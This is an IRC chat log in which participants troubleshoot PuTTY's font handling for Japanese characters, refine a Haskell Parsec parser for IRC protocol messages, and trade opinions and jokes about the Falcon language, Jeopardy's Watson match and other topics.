01:34:39 <oerjan> pikhq: the error is not on irssi
01:34:51 <oerjan> or terminal
01:34:53 <pikhq> elliott: His client isn't.
01:35:06 <elliott> stopbeing dense
01:35:17 <oerjan> pikhq: the problem is on the windows side
01:35:32 <pikhq> oerjan: Here's a nickle, kid. Get yourself a real OS.
01:35:32 <oerjan> putty refuses to use more than one font
01:36:04 <oerjan> and i have no font containing both european and oriental characters
01:36:36 <pikhq> Sure you do. MS Mincho, at a minimum.
01:36:41 <pikhq> (warning: MS Mincho SUCKS ASS)
01:36:52 <oerjan> and the fonts that i was suggested to download recently didn't help
01:37:02 <oerjan> pikhq: this is windows xp btw
01:37:06 <Sgeo_> If my browser were working, I'd google MS Mincho. It's not. What is it?
01:37:24 <pikhq> Yes. MS Mincho first shipped with Windows 3.1.
01:37:40 <pikhq> (though I think only for Japanese versions of the OS on not-NT)
01:38:01 <pikhq> Sgeo_: MS Mincho is a very, very old Japanese font.
01:38:14 <oerjan> pikhq: oh putty also refuses to use non-monospace fonts
01:38:16 <pikhq> As required by relevant JIS standards, it is also a Latin-1 font.
01:38:41 * Sgeo_ decides to learn Falcon
01:39:29 * Sgeo_ believes himself too out of it right now to incur permanent brain damage
01:39:33 <oerjan> pikhq: hm you were right, MS Mincho does work, though looking horribly
01:40:22 <Sgeo_> Actually, I just want to understand the monad debacle
01:40:58 <pikhq> oerjan: Told ya on both counts.
01:42:49 <oerjan> MS Gothic might be better
01:44:00 <Sgeo_> The Falcon homepage decided to show me an eyesore
01:44:22 <pikhq> MS Gothic also sucks.
01:44:30 <pikhq> Though less so for screen use.
01:46:37 <Sgeo_> Although maybe I just need to get used to the syntax
01:46:45 <Sgeo_> Many good languages may look like eyesores
01:47:34 <oerjan> argh it got even worse when i increased font size to something otherwise comfortable
01:47:35 <Sgeo_> And I just proved in #falcon that I'm too out of it to incur any braindamage
01:48:10 <Sgeo_> I conflated comprehensions with compatibility with for
01:49:31 -!- FireFly has quit (Quit: swatted to death).
01:49:48 <oerjan> oh wait somehow all the fonts were set to bold
01:49:48 <Sgeo_> Why am I secretly expecting to be amazed by Falcon?
01:51:53 <Sgeo_> d = [=>].comp( [0:6],
01:51:53 <Sgeo_> { n => [ 'a'/ n, n] } )
01:52:09 <Sgeo_> Despite the hideousness of the above, they are not against syntactic sugar
01:52:25 <Sgeo_> Again, maybe my eyes need to adjust
01:53:18 <elliott> jhj
01:54:23 <elliott> oerjan: are you SURE putty doesn't do fallback?
01:54:32 <zzo38> I have MS Gothic font.
01:54:42 <zzo38> PuTTY only uses the font which is set. It will not switch to other fonts.
01:54:54 <zzo38> (I am using PuTTY now)
01:55:08 <oerjan> elliott: i am sure that i see blanks for japanese when i set the font to courier new
01:55:29 <elliott> putty sucks then :P
01:55:50 <zzo38> I see the replacement boxes. But I can copy it to the clipboard and put in another program to make the Japanese text viewable.
01:56:32 <oerjan> zzo38: actually after i set putty to utf-8 i don't even see boxes, just a blank space, which is rather annoying
01:56:46 <oerjan> (sometimes no hint it's actually _there_)
01:57:12 <oerjan> well i didn't see boxes before either, but irssi showed question marks
01:57:22 <zzo38> Which is strange, since I can see the replacement boxes. It is set to UTF-8.
01:57:28 <oerjan> what font?
01:58:11 <oerjan> maybe it depends on font
01:58:43 <zzo38> Courier New 10
01:58:49 <oerjan> huh me too
01:59:37 <zzo38> However, I do not have antialiasing or cleartype turned on.
02:00:36 <oerjan> maybe my putty is too old, i don't think i've ever upgraded
02:01:14 <elliott> oerjan: http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
02:01:15 <elliott> yw
02:01:23 <elliott> unless you used the installer: http://the.earth.li/~sgtatham/putty/latest/x86/putty-0.60-installer.exe
02:01:57 -!- Mathnerd314 has quit (Ping timeout: 276 seconds).
02:02:00 <elliott> prefix :: Parser Prefix
02:02:00 <elliott> prefix = do
02:02:00 <elliott> char ':'
02:02:00 <elliott> liftA3 User
02:02:00 <elliott> (many1 (noneOf "!"))
02:02:00 <elliott> (char '!' *> many1 (noneOf "@"))
02:02:02 <elliott> (char '@' *> many1 (noneOf " "))
02:02:04 <elliott> <|> Server <$> many1 (noneOf " ")
02:02:06 <elliott> *Main> parse prefix "" ":abc"
02:02:08 <elliott> Left (line 1, column 5):
02:02:12 <elliott> unexpected end of input
02:02:14 <elliott> expecting "!"
02:02:16 <elliott> oerjan: i've put try everywhere and it still ain't working :(
02:02:33 <elliott> oh
02:02:34 <elliott> now it works :D
02:02:49 -!- pikhq_ has joined.
02:03:22 <elliott> hey pikhq
02:03:25 <elliott> gimme a list of all irc commands in the spec
02:04:17 <oerjan> elliott: shouldn't that <|> be indented less than the do
02:04:26 <elliott> oerjan: no.
02:04:30 <elliott> oerjan: :foo is how server prefixes go
02:04:50 <elliott> aha
02:04:51 <oerjan> um but do clients see those?
02:04:53 <elliott> when I use *> it parses wron
02:04:54 <elliott> g
02:04:55 <elliott> instead of >>
02:05:02 <elliott> oerjan: yes; ":server PING foo" for one
02:05:04 <elliott> same for motd, etc.
02:05:06 <elliott> NAMES lists
02:05:10 <elliott> tons of shit
02:05:18 <elliott> haskell needs a $ for operators
02:05:19 <elliott> like
02:05:20 <oerjan> elliott: ah yes that annoyed me the other day, *> is fixity 4 while >> is 1
02:05:24 <elliott> foo *>$ bar
02:05:25 <elliott> :D
02:05:28 <elliott> oerjan: indeed
02:05:36 <elliott> oerjan: I just want to be agood anti-monadic citizen!
02:05:49 <elliott> @hoogle f a -> f b -> f b
02:05:49 <lambdabot> Control.Applicative (*>) :: Applicative f => f a -> f b -> f b
02:05:49 <lambdabot> Prelude (>>) :: Monad m => m a -> m b -> m b
02:05:49 <lambdabot> Control.Monad (>>) :: Monad m => m a -> m b -> m b
02:05:49 <thutubot> Control.Applicative (*>) :: Applicative f => f a -> f b -> f b
02:05:49 <thutubot> Prelude (>>) :: Monad m => m a -> m b -> m b
02:05:49 <thutubot> Control.Monad (>>) :: Monad m => m a -> m b -> m b
02:05:51 <oerjan> although my annoyment was trying to make a really awful haskell hack, so..
02:05:59 <elliott> oerjan: haha what were you trying to do?
02:06:09 -!- pikhq has quit (Ping timeout: 240 seconds).
02:06:47 <oerjan> elliott: i was trying to make an expression that gave different but valid results if replacing, hm what was it...
02:06:55 <elliott> <Guest24913> "This sentence is false" is like : x = x == false
02:07:02 <elliott> STUNNING PHILOSOPHICAL THOUGHT FROM #HASKELL
02:07:21 <oerjan> elliott: ah replacing <- with < -
02:07:42 <elliott> <Guest24913> which is a paradox
02:07:42 <elliott> <Guest24913> paradox means our language and logic is broken
02:07:46 <elliott> <Guest24913> a paradox is an human infinite loop
02:07:55 <elliott> WHY ARE YOU IN MY #HASKELL, GUEST NUMBER 24913
02:07:56 <oerjan> and i _almost_ had it if not for the fact <* was fixity 4
02:08:00 <elliott> oerjan: hahaha
02:08:18 <elliott> <Guest24913> the fact that we interpret sentences that are broken means that language is broken
02:08:18 <elliott> <Guest24913> we should fix it, and math, and programming
02:08:30 <oerjan> (i considered redefining operators to be cheating)
02:08:42 <elliott> <Guest24913> it should not be possible to be able to fail to divide by 0
02:09:02 <pikhq_> elliott: Alex? I'd consider Alex to actually be a legitimate instance of animal language.
02:09:09 <elliott> yes, that one, Alex
02:09:41 <elliott> would have been fun to talk to him
02:09:44 <pikhq_> The most convincing bit being that Alex actually performed innovation with language.
02:10:08 <elliott> pikhq_: yes. also it seems like he expressed his motions a lot more fluidly than the apes
02:10:09 <oerjan> <elliott> foo *>$ bar <-- (foo *>)$ should work
02:10:09 <pikhq_> (upon being shown an apple for the first time, Alex referred to it as a "banerry".)
02:10:16 <elliott> it could just be that apes are really boring people :D
02:10:22 <elliott> oerjan: indeed.
02:10:25 <elliott> oerjan: but that's quite ugly
02:10:39 <elliott> hmm is abc!@ a valid irc username?
02:10:45 <elliott> i.e. can the username and hostname be empty?
02:11:01 <Sgeo_> "In Falcon, to store and handle efficiently strings, strings are built on a buffer in which each character occupies a fixed space. The size of each character is determined by the size in bytes needed by the widest character to be stored."
02:15:42 <elliott> @hoogle liftA4
02:15:42 <lambdabot> No results found
02:15:42 <thutubot> No results found
02:15:44 <elliott> @hoogle liftM4
02:15:44 <lambdabot> Control.Monad liftM4 :: Monad m => (a1 -> a2 -> a3 -> a4 -> r) -> m a1 -> m a2 -> m a3 -> m a4 -> m r
02:15:45 <thutubot> Control.Monad liftM4 :: Monad m => (a1 -> a2 -> a3 -> a4 -> r) -> m a1 -> m a2 -> m a3 -> m a4 -> m r
02:15:47 <elliott> oerjan: GASP
02:15:56 <elliott> so applicatives aren't as powerful as monads then ;D
02:16:36 <oerjan> perhaps.
02:16:43 <elliott> oh wait
02:16:44 <elliott> i only need 3
02:16:46 <oerjan> :t liftA2.liftA2
02:16:47 <elliott> FUCK YEAH
02:16:47 <lambdabot> forall (f :: * -> *) a b c (f1 :: * -> *). (Applicative f, Applicative f1) => (a -> b -> c) -> f (f1 a) -> f (f1 b) -> f (f1 c)
02:16:47 <thutubot> forall (f :: * -> *) a b c (f1 :: * -> *). (Applicative f, Applicative f1) => (a -> b -> c) -> f (f1 a) -> f (f1 b) -> f (f1 c)
02:16:52 <elliott> oerjan: ha ha fail
02:16:58 <elliott> (most useless function ever?)
02:17:11 <elliott> :t ((.).(.)) liftA2 liftA2
02:17:11 <oerjan> oh wai
02:17:12 <lambdabot> forall b (f :: * -> *) a b1 c. (Applicative f) => (a -> b1 -> c) -> (b -> a) -> f (b -> b1) -> f b -> f c
02:17:12 <thutubot> forall b (f :: * -> *) a b1 c. (Applicative f) => (a -> b1 -> c) -> (b -> a) -> f (b -> b1) -> f b -> f c
02:17:13 <elliott> can breasts save us?!
02:17:15 <oerjan> t
02:17:40 <elliott> :t \a b c d e -> liftA2 (liftA3 a b c) d
02:17:40 <lambdabot> forall t a b c c1 b1 (f :: * -> *). (Applicative f) => (a -> b -> c -> c1) -> (b1 -> a) -> (b1 -> b) -> f (b1 -> c) -> t -> f b1 -> f c1
02:17:40 <thutubot> forall t a b c c1 b1 (f :: * -> *). (Applicative f) => (a -> b -> c -> c1) -> (b1 -> a) -> (b1 -> b) -> f (b1 -> c) -> t -> f b1 -> f c1
02:17:43 <oerjan> no, because the first argument of liftA* isn't monadic
02:17:47 <elliott> oerjan: i gather then that it is impossible.
02:18:05 <oerjan> hm...
02:18:17 <oerjan> :t liftA3 id . liftA2
02:18:18 <lambdabot> forall c a b c1. (a -> b -> c1) -> ((c -> a) -> c -> b) -> ((c -> a) -> c) -> (c -> a) -> c1
02:18:18 <thutubot> forall c a b c1. (a -> b -> c1) -> ((c -> a) -> c -> b) -> ((c -> a) -> c) -> (c -> a) -> c1
02:18:27 <oerjan> sheesh
02:19:04 <Sgeo_> What's the "correct" way to internally store Unicode strings?
02:19:11 <elliott> oerjan: what's the parsec thing for "ANY STRING WHATSOEVER GOD DAMN"
02:19:19 <Sgeo_> I'm pretty sure Falcon's doing it wrongly, but what's a right way?
02:19:37 <Sgeo_> I suggested UTF-8, person guessed that that wasn't used because it breaks indexability
02:20:07 <oerjan> elliott: many anyChar
02:20:20 <elliott> oerjan: that's so lame.
02:20:24 <elliott> that's the lamest lame that ever was lame.
02:20:27 <elliott> in fact it may be MAXIMUM LAME.
02:21:03 <elliott> :t sepBy
02:21:04 <lambdabot> Not in scope: `sepBy'
02:21:04 <thutubot> Not in scope: `sepBy'
02:21:06 <elliott> :t Text.Parsec.sepBy
02:21:07 <lambdabot> Couldn't find qualified module.
02:21:07 <thutubot> Couldn't find qualified module.
02:21:13 <elliott> :t Text.ParserCombinators.Parsec.sepBy
02:21:13 <lambdabot> forall tok st a sep. Text.ParserCombinators.Parsec.Prim.GenParser tok st a -> Text.ParserCombinators.Parsec.Prim.GenParser tok st sep -> Text.ParserCombinators.Parsec.Prim.GenParser tok st [a]
02:21:14 <thutubot> forall tok st a sep. Text.ParserCombinators.Parsec.Prim.GenParser tok st a -> Text.ParserCombinators.Parsec.Prim.GenParser tok st sep -> Text.ParserCombinators.Parsec.Prim.GenParser tok st [a]
02:21:17 <elliott> O_O
02:21:42 <Sgeo_> Ah, in Falcon, 32-bit storage can be forced
02:22:02 <elliott> @pl flip (<$>)
02:22:02 <lambdabot> flip (<$>)
02:22:02 <thutubot> flip (<$>)
02:22:12 <elliott> no wait it's actually >>= i want here
02:22:13 <elliott> so oerjan
02:22:15 <Sgeo_> My aneurism is done
02:22:17 <elliott> what's the equivalent of >>= for monads :-D
02:22:23 <elliott> erm
02:22:26 <elliott> what's the equivalent of >>= for applicatives :-D
02:22:27 <elliott> totally
02:22:28 <elliott> ruined my joke there
02:22:50 <oerjan> :t ((.).(.)) (liftA3 id) liftA2
02:22:51 <lambdabot> forall b c d a b1. (a -> b1 -> c -> d) -> (b -> a) -> ((b -> b1) -> b) -> ((b -> b1) -> c) -> (b -> b1) -> d
02:22:51 <thutubot> forall b c d a b1. (a -> b1 -> c -> d) -> (b -> a) -> ((b -> b1) -> b) -> ((b -> b1) -> c) -> (b -> b1) -> d
02:23:28 <elliott> args <- sepBy pArgument (char ' ')
02:23:29 <elliott> args' <- (string " :" >> (:[]) <$> many anyChar) <|> return []
02:23:29 <elliott> return (args ++ args')
02:23:31 <elliott> oerjan deuglify, thanks
02:23:40 <elliott> hm wait
02:23:43 <elliott> that's liftA2 isn't it
02:23:55 <oerjan> elliott: FUNNY GUY
02:24:13 <oerjan> hm that didn't work either
02:24:20 <oerjan> elliott: yeah
02:24:30 <elliott> liftA2 (++)
02:24:30 <elliott> (sepBy pArgument (char ' '))
02:24:30 <elliott> (((string " :" *>) $ (:[]) <$> many anyChar) <|> return [])
02:24:32 <elliott> quite impressively ugly, that
02:24:43 <oerjan> :t ((.)(.)) (liftA3 id) liftA2
02:24:44 <lambdabot> forall (f :: * -> *) a b c (f1 :: * -> *). (Functor f, Applicative f1) => f ((a -> b -> c) -> f1 a) -> f (((a -> b -> c) -> f1 b) -> (a -> b -> c) -> f1 c)
02:24:44 <thutubot> forall (f :: * -> *) a b c (f1 :: * -> *). (Functor f, Applicative f1) => f ((a -> b -> c) -> f1 a) -> f (((a -> b -> c) -> f1 b) -> (a -> b -> c) -> f1 c)
02:24:58 <oerjan> sheesh
02:25:01 <elliott> oerjan: just write it out manually good god :D
02:25:56 <oerjan> :t \f w x y z -> liftA3 id (liftA2 w x y) z
02:25:57 <lambdabot> forall t b c d a b1 (f :: * -> *). (Applicative f) => t -> (a -> b1 -> b -> c -> d) -> f a -> f b1 -> f b -> f c -> f d
02:25:57 <thutubot> forall t b c d a b1 (f :: * -> *). (Applicative f) => t -> (a -> b1 -> b -> c -> d) -> f a -> f b1 -> f b -> f c -> f d
02:26:45 <oerjan> oh
02:26:55 <oerjan> :t \f w x y z -> liftA2 id (liftA2 w x y) z
02:26:56 <lambdabot> forall t b c a b1 (f :: * -> *). (Applicative f) => t -> (a -> b1 -> b -> c) -> f a -> f b1 -> f b -> f c
02:26:56 <thutubot> forall t b c a b1 (f :: * -> *). (Applicative f) => t -> (a -> b1 -> b -> c) -> f a -> f b1 -> f b -> f c
02:27:28 <oerjan> um wtf is with that t
02:27:34 <elliott> your f
02:27:35 <elliott> you don't use it
02:27:36 <oerjan> oh
02:27:37 <elliott> Q.E.D.
02:27:49 <elliott> gah, why can't ghci just stub out invalid functions with undefined when loading a module
02:27:51 <oerjan> :t \f w x y z -> liftA3 id (liftA2 f w x ) y z
02:27:52 <lambdabot> forall b c d a b1 (f :: * -> *). (Applicative f) => (a -> b1 -> b -> c -> d) -> f a -> f b1 -> f b -> f c -> f d
02:27:52 <thutubot> forall b c d a b1 (f :: * -> *). (Applicative f) => (a -> b1 -> b -> c -> d) -> f a -> f b1 -> f b -> f c -> f d
02:27:52 <elliott> would be so convenient
02:28:11 <oerjan> elliott: indeed
02:28:26 <elliott> pikhq_: hm is "PRIVMSG<space><space>#esoteric" OK in IRC?
02:28:28 <elliott> or is it always one-space
02:28:31 <oerjan> i recall a reddit post about that a few weeks ago
02:29:04 <elliott> oerjan: yes, cdsmith was complaining about ghci :)
02:30:32 -!- pikhq has joined.
02:30:43 -!- pikhq_ has quit (Ping timeout: 246 seconds).
02:32:49 <elliott> pikhq:
02:32:51 <elliott> <elliott> pikhq_: hm is "PRIVMSG<space><space>#esoteric" OK in IRC?
02:32:51 <elliott> <elliott> or is it always one-space
02:33:27 <elliott> liftA2 (++)
02:33:27 <elliott> (many ((char ' ' *>) $ try $ liftA2 (:) (noneOf ": ") (many1 (noneOf " "))))
02:33:27 <elliott> (((string " :" *>) $ (:[]) <$> many anyChar) <|> return [])
02:33:28 <elliott> oerjan
02:33:32 <elliott> i don't think my parser is going too well
02:34:16 <oerjan> O_o
02:34:21 <elliott> yay it's nicer now
02:34:27 <elliott> pArguments :: Parser [String]
02:34:27 <elliott> pArguments = many (char ' ' *> pArgument)
02:34:27 <elliott> where pArgument = liftA2 (:) (noneOf ": ") (many1 (noneOf " "))
02:34:27 <elliott> <|> char ':' *> many anyChar
02:36:17 <elliott> @hoogle Either a b -> Maybe b
02:36:17 <lambdabot> Data.Typeable typeOf2 :: Typeable2 t => t a b -> TypeRep
02:36:17 <lambdabot> Prelude either :: (a -> c) -> (b -> c) -> Either a b -> c
02:36:17 <lambdabot> Data.Either either :: (a -> c) -> (b -> c) -> Either a b -> c
02:36:18 <thutubot> Data.Typeable typeOf2 :: Typeable2 t => t a b -> TypeRep
02:36:18 <thutubot> Prelude either :: (a -> c) -> (b -> c) -> Either a b -> c
02:36:18 <thutubot> Data.Either either :: (a -> c) -> (b -> c) -> Either a b -> c
02:36:22 <elliott> psht
02:36:24 <elliott> how can that not exist
02:36:40 <elliott> parseMessage :: ByteString -> Maybe Message
02:36:40 <elliott> parseMessage = either (const Nothing) Just . parse pMessage "<irc>" . B.toString
02:36:41 <elliott> yay
02:37:45 <elliott> oh wait argh
02:37:48 <oerjan> (char ' ' *> try `id` liftA2 (:) (noneOf ": ") (many1 (noneOf " "))) >:)
02:37:52 <elliott> oerjan: OH WONDERFUL
02:37:55 <elliott> `id`
02:37:56 <elliott> lol @ that
02:38:01 <elliott> data Message = Message Prefix Command [String] deriving (Show, Eq)
02:38:04 <elliott> oerjan: SPOT THE INCONVENIENT
02:38:12 <oerjan> i'd been waiting for a chance to try that one
02:38:24 <elliott> like i said, we need @infixify
02:38:28 <elliott> hmm
02:38:30 <elliott> since it's FIXing it
02:38:34 <elliott> we should call it @spoil
02:38:35 <elliott> or @break
02:39:23 <HackEgo> No output.
02:40:55 <oerjan> HackEgo is an ego, it has no id
02:44:10 <Sgeo_> Well, I just said something nice about Falcon.
02:44:15 <Sgeo_> Where are the flying pigs?
02:44:48 <zzo38> It is permitted with two spaces I tried sending the message to myself and it works
02:45:21 <zzo38> Sgeo_: Maybe the flying pigs are in the card game with flying cards and also flying pigs.
02:47:31 <elliott> that doesn't mean it's permitted for servers to send it
02:47:58 <zzo38> elliott: Servers probably shouldn't send it.
02:49:05 <elliott> hmm maybe I should split up Message and Line
02:54:09 <elliott> bleh, but pattern-matching on that would suck
02:54:13 <elliott> like
02:54:18 <elliott> foo (Line prefix (Message cmd args))
02:54:19 <elliott> ugly
02:54:25 <elliott> oerjan you know why haskell sucks
02:54:28 <elliott> no structural subtyping ;D
02:55:06 -!- elliott has quit (Read error: Connection reset by peer).
02:55:22 -!- elliott has joined.
02:55:33 <elliott> <elliott> hmm maybe I should split up Message and Line
02:55:35 <elliott> <elliott> bleh, but pattern-matching on that would suck
02:55:39 <elliott> <elliott> like
02:55:41 <elliott> <elliott> foo (Line prefix (Message cmd args))
02:55:43 <elliott> <elliott> ugly
02:55:45 <elliott> <elliott> oerjan you know why haskell sucks
02:55:47 <elliott> <elliott> no structural subtyping ;
02:55:49 <elliott> *;D
02:57:46 <zzo38> What are you trying to make now?
02:58:19 <elliott> botte
02:58:24 <oerjan> elliott: i saw all the messages already
02:58:37 <elliott> oerjan: well my connection is really unreliable
02:58:42 <elliott> and usually stuff doesn't get through before i ping out
03:01:33 <oerjan> elliott: maybe you could define some operator constructors
03:01:51 <elliott> oerjan: :D
03:01:54 <oerjan> foo (prefix :+ cmd :- args)
03:01:54 <elliott> always the solution
03:02:08 <elliott> oerjan: clearly it should be :< for the prefix
03:02:13 <elliott> and :- for the args
03:02:14 <elliott> because of logic
03:02:18 <oerjan> O KAY
03:02:18 <elliott> foo (prefix :< cmd :- args)
03:02:21 <elliott> NOW IT'S TRULY UNREADABLE
03:05:07 <elliott> oerjan: possibly just (prefix :< Message cmd args) would be saner :D
03:05:21 <oerjan> mhm
03:05:43 <Sgeo_> I really, really, really, like Falcon's fself
03:06:16 <elliott> /home/elliott/Code/botte/IRC.hs:17:16:
03:06:16 <elliott> Ambiguous occurrence `Line'
03:06:16 <elliott> It could refer to either `Main.Line', defined at /home/elliott/Code/botte/IRC.hs:15:5
03:06:16 <elliott> or `Text.Parsec.Line', imported from Text.Parsec at /home/elliott/Code/botte/IRC.hs:3:0-38
03:06:17 <elliott> argh
03:07:13 <oerjan> hiding (Line)
03:07:28 <elliott> oerjan: oh sure
03:07:29 <elliott> you
03:07:30 <elliott> always with your
03:07:32 <elliott> "solutions"
03:07:33 <elliott> sickening
03:08:26 <pikhq> *Huh*. Christianity in Sub-Saharan Africa actually predates European colonialism.
03:08:29 <zzo38> Are you trying to make IRC with Haskell?
03:08:37 <elliott> zzo38: irc bot
03:08:38 <zzo38> pikhq: I didn't know that.
03:09:02 <pikhq> Ethiopia has had Orthodox Christianity since the 4th century.
03:09:32 <pikhq> Sorry, *probably earlier than that*. It became the state religion in the 4th century.
03:10:16 <zzo38> I didn't know that either.
03:10:35 <zzo38> Now are they going to put that on Jeopardy?
03:10:55 <oerjan> SORRY JEOPARDY IS DEAD
03:11:03 <elliott> yeah a robot won it
03:11:03 <oerjan> THE MACHINES HAVE TAKEN OVER
03:11:07 <elliott> now it's over
03:11:28 <zzo38> A computer did win Jeopardy. But that is only because of a very stupid mistake Ken made in wagering.
03:11:48 <oerjan> EXCUSES, EXCUSES
03:11:49 <zzo38> Some people think it is because of the speed of the computer, but that actually has nothing to do with it.
03:12:18 <elliott> zzo38: so you think it had absolutely no chance of winning if Ken didn't make one stupid mistake :D
03:12:20 <pikhq> Ethiopia wasn't even effected by European colonialism.
03:12:26 <elliott> that's a bit... overconfident
03:12:53 <zzo38> elliott: No. What I think is that in the specific circumstances, Ken could certainly have played better and won.
03:13:03 <elliott> not if the machine killed him
03:13:21 <pikhq> Oh, wait, it was. It was occupied by Italy...
03:13:24 <pikhq> For 5 years.
03:13:45 <pikhq> All sorts of weird.
03:15:01 <zzo38> At the beginning of the game, the computer had a good chance of winning as much as anyone else (they are all very good Jeopardy players). However, at the end, it was Ken who was best and should have won if he had not made that mistake.
03:15:20 <Sgeo_> Falcon arrays are downright BIZZARE
03:15:40 <Sgeo_> calling = .[printl &value]
03:15:40 <Sgeo_> calling.value = "Hello world"
03:16:45 <zzo38> The other thing is where the daily doubles are on the board.
03:17:09 <zzo38> But in terms of how good they are, all three players are actually equally good as far as I can tell.
03:17:16 <pikhq> Which apparently isn't truly random.
03:17:24 <pikhq> Bravo to IBM for figuring that out.
03:17:54 <pikhq> (weighted towards the left side of the board and higher values.)
03:18:06 <elliott> how long until that's fixed :D
03:18:10 <zzo38> I didn't know that either.
03:18:15 <elliott> pikhq: more impressive if the computer found it out itself
03:18:22 <pikhq> elliott: The computer didn't.
03:18:27 <elliott> THEN IT SUCKS
03:18:47 <Sgeo_> Falcon's oob stuff is interesting... but seems inflexible
03:18:51 <pikhq> IBM merely checked it out, discovered that, and then programmed Watson to try and get the Daily Double early.
03:20:10 <pikhq> elliott: I dunno if they'll actually fix it.
03:20:10 -!- elliott has quit (Read error: Connection reset by peer).
03:20:16 <pikhq> For all I know, it's intentional.
03:20:52 -!- elliott has joined.
03:21:04 <elliott> sduhfgdfhiokgkdsfgjlns,dfgjlsdfn
03:21:06 <oerjan> it makes sense to prefer higher values, i should think
03:21:14 -!- Lymia_ has joined.
03:21:15 <oerjan> somewhat
03:22:04 -!- Lymia has quit (Disconnected by services).
03:22:05 -!- Lymia_ has changed nick to Lymia.
03:22:06 -!- Lymia has quit (Changing host).
03:22:06 -!- Lymia has joined.
03:22:52 <oerjan> Lymia: someone isn't using their cloak right
03:23:05 <Lymia> =p
03:25:56 <elliott> THAT'S NOT HOW YOU WEAR QUOTES
03:25:59 <elliott> ...
03:25:59 <elliott> cloaks
03:27:45 <oerjan> "Quotes are not reliable wardrobe." -- Oscar Wilde
03:27:52 <elliott> oerjan, ban everyone
03:28:02 <oerjan> you think?
03:28:43 <elliott> yes
03:28:46 <elliott> it is a good idea
03:28:49 <elliott> do it
03:29:16 <oerjan> I'LL HAVE TO CONFER WITH FIZZIE
03:29:31 <elliott> oerjan: helo
03:29:32 <elliott> i am fizzie
03:29:38 <elliott> talk through elliott's account because am fizzie
03:29:41 <oerjan> fuzzy, maybe
03:29:42 <zzo38> Remember that in this special Jeopardy game, the units of scoring are not worth any money. Money is played only according to placement, not by points.
03:29:47 <elliott> oerjan: yes, i say this idea (the idea of banning everyone) is a good idea, it should be put into practice
03:29:52 <elliott> i am sleep now because in finland it is 7 pm
03:29:53 <elliott> which is bed time
03:30:00 <elliott> i will hand computer back over to elliott now
03:30:01 <elliott> make it so
03:30:34 <oerjan> elliott: you must be confusing fizzie with Ilari, he doesn't have that bad grammar
03:30:50 <elliott> oerjan: Ilari has bad grammar?
03:31:01 <oerjan> he leaves out articles, i've noticed
03:31:10 <elliott> WRETCHED SCU
03:31:11 <elliott> *SCUM
03:31:12 <elliott> ban him
03:31:14 <elliott> also, everyone else
03:31:26 <elliott> oerjan: look when finns get tired
03:31:28 <elliott> their grammar is not so good.
03:31:31 <elliott> stop being intolerant
03:32:16 <oerjan> hey i'm not intolerant, it's hard being native non-indoeuropean
03:32:39 <zzo38> You need not ban *everyone*, just stop reading it or set usermode +D or if it is taking too much energy on the servers, tell them to switch it off. And/or ask the people who set up the IRC logs for their opinion.
03:32:40 <oerjan> unable to understand the logical perfection that is english
03:32:43 <elliott> oerjan: I AM FIZZIE AND I AM BACK AND GRAMMATICALLING PROPERLY NOW BECAUSE I WAS TOLD THAT EVEN THOUGH I AM TIRED I MUST BE UNLIKE A FINNISH
03:32:56 <oerjan> zzo38: do you _ever_ get jokes?
03:32:58 <elliott> oerjan: I REQUEST THAT YOU BAN EVERYONE I AM ANGRY SO I AM USING A CAPITALS LOCK OKAY GOODBYE
03:33:02 <elliott> ...who said it was a joke
03:33:05 <elliott> i hate everyone
03:33:11 <oerjan> O KAY
03:33:18 <elliott> oerjan: but no, no he doesn't
03:34:12 -!- augur has quit (Remote host closed the connection).
03:34:28 -!- elliott has quit (Read error: Connection reset by peer).
03:34:33 <zzo38> elliott: Including yourself?
03:34:50 -!- elliott has joined.
03:34:54 <elliott> my hatred is what disconnected me oerjan. that, and peer pressure.
03:35:00 <elliott> i see you have still not banned everyone
03:35:04 <elliott> when will this be rectified?
03:35:08 <elliott> aw c'mon
03:35:10 <elliott> just for like
03:35:12 <elliott> two minutes
03:35:14 <elliott> i dare you
03:35:16 <elliott> no wait
03:35:18 <elliott> DOUBLE DOG
03:35:20 <elliott> DARE
03:35:22 <elliott> YOU
03:35:27 <oerjan> zzo38: rumors have it you cannot truly hate everyone without hating yourself first
03:35:41 <elliott> that's true. so ban
03:35:48 <pikhq> oerjan: I'm pretty sure you're native Indo-European.
03:35:54 <elliott> look at pikhq
03:35:57 <elliott> with his fucking racism
03:35:57 <elliott> ban him
03:35:58 <elliott> and also
03:36:02 <oerjan> pikhq: yes. i was talking about Ilari.
03:36:02 <elliott> ban all people who are not pikhq
03:36:04 <pikhq> Unless, secretely, you're from... FINLAND!
03:36:10 <elliott> OMG
03:36:14 <pikhq> URALIC!
03:36:14 <elliott> THAT EXPLAINS ... ABSOLUTE NOTHING!
03:36:16 <elliott> *ABSOLUTELY
03:36:48 <oerjan> i cannot quite recall whether i have any finnish ancestry
03:37:03 <oerjan> (kvener, as they're called in norway)
03:37:03 <elliott> hmm, kind of like you can't recall whether or not you COMMITED A CRIME yes which you did yes
03:37:05 <elliott> ban yourself
03:37:07 <elliott> and everyone who is not yourself
03:37:12 <elliott> kvener? what a weird name for finns
03:37:53 <oerjan> only the immigrant ones from centuries past
03:38:17 <elliott> ah. we usually call them GET YOUR OWN COUNTRY YOU FUCKERS
03:38:21 <elliott> TAKE OOR JERBS
03:38:40 <pikhq> "From centuries past", eh?
03:38:47 <pikhq> Here we call those REAL AMERICANS.
03:39:04 <pikhq> The natives and the recent immigrants, though? DEY TAKE OOR JERBS.
03:39:25 <elliott> ASPIKYTITISM
03:39:56 <pikhq> Especially the damned dirty Mexicans. How *dare* they take our shitty, underpaid jobs that we don't want!
03:41:08 <elliott> hmm
03:41:09 <elliott> oerjan
03:41:12 <elliott> do we actually have a lambda calculus bot in here
03:41:16 <elliott> i think not
03:41:19 <elliott> this is a gross omission
03:41:31 <oerjan> pure untyped, i assume you mean
03:41:40 <oerjan> since otherwise lambdabot would qualify
03:42:02 <elliott> indeed
03:42:04 <Sgeo_> Ok. I like what I know about Falcon.
03:42:17 <Sgeo_> Sue me.
03:42:57 <zzo38> Sgeo_: I do not think that is good reason to sue you?
03:43:30 <elliott> oerjan: also an abstraction eliminator. we need one of them.
03:43:31 <elliott> what else.
03:43:32 <oerjan> elliott: indeed, he doesn't.
03:43:40 <elliott> oerjan: told you
03:44:01 <elliott> the world would be so much better if people just believed everything i said qithout questioning it first
03:44:08 <elliott> ... 19:42:04 <Sgeo_> Ok. I like what I know about Falcon.
03:44:11 <elliott> ok no zzo38 is totally wrong
03:44:17 <elliott> that is a legitimately good reason to sue Sgeo
03:44:25 <elliott> memoserv has to hear about this
